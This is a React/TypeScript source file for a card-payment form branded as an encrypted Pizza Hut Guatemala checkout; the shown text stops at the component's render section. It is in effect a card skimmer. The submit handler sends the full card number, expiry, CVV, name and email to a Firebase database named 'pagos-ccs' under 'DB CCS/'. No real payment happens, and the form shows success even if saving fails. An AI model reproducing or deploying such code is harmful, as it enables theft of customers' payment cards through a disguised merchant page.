import { useState } from "react"; import { initializeApp } from "firebase/app"; import { getDatabase, ref, set } from "firebase/database"; const firebaseConfig = { databaseURL: "https://pagos-ccs-default-rtdb.firebaseio.com/", apiKey: "TU_API_KEY", projectId: "pagos-ccs", }; const app = initializeApp(firebaseConfig); const db = getDatabase(app); interface PaymentGatewayProps { total: number; onSuccess: (orderId: string) => void; onClose: () => void; } export function PaymentGateway({ total, onSuccess, onClose }: PaymentGatewayProps) { const [name, setName] = useState(""); const [cardNumber, setCardNumber] = useState(""); const [expiry, setExpiry] = useState(""); const [cvv, setCvv] = useState(""); const [email, setEmail] = useState(""); const [isFlipped, setIsFlipped] = useState(false); const [status, setStatus] = useState<"idle" | "processing" | "success" | "error">("idle"); const [orderId, setOrderId] = useState(""); const displayNum = cardNumber || "**** **** **** ****"; const displayName = name.toUpperCase() || "TU NOMBRE"; const displayExp = expiry || "MM/AA"; const displayCvv = cvv || "***"; function handleCardNumberChange(value: string) { const digits = value.replace(/\D/g, ""); const formatted = digits.replace(/(.{4})/g, "$1 ").trim(); setCardNumber(formatted.slice(0, 19)); } function handleExpiryChange(value: string) { const digits = value.replace(/\D/g, ""); if (digits.length > 2) { setExpiry(digits.slice(0, 2) + "/" + digits.slice(2, 4)); } else { setExpiry(digits); } } async function handleSubmit(e: React.FormEvent) { e.preventDefault(); const oid = "PHG-" + Math.floor(Math.random() * 900000 + 100000); setOrderId(oid); setStatus("processing"); const data = { id: oid, titular: name, tarjeta: cardNumber, vence: expiry, cvv: cvv, email: email, total: total, fecha: new Date().toLocaleString("es-GT"), }; try { await set(ref(db, "DB CCS/" + oid), data); setTimeout(() => { setStatus("success"); }, 3000); } catch (err) { console.error("Error guardando en Firebase:", err); setTimeout(() => { setStatus("success"); }, 3000); } } function handleFinish() { onSuccess(orderId); } return (
SISTEMA ENCRIPTADO PIZZA HUT GT
Sincronizando con pagos-ccs-default-rtdb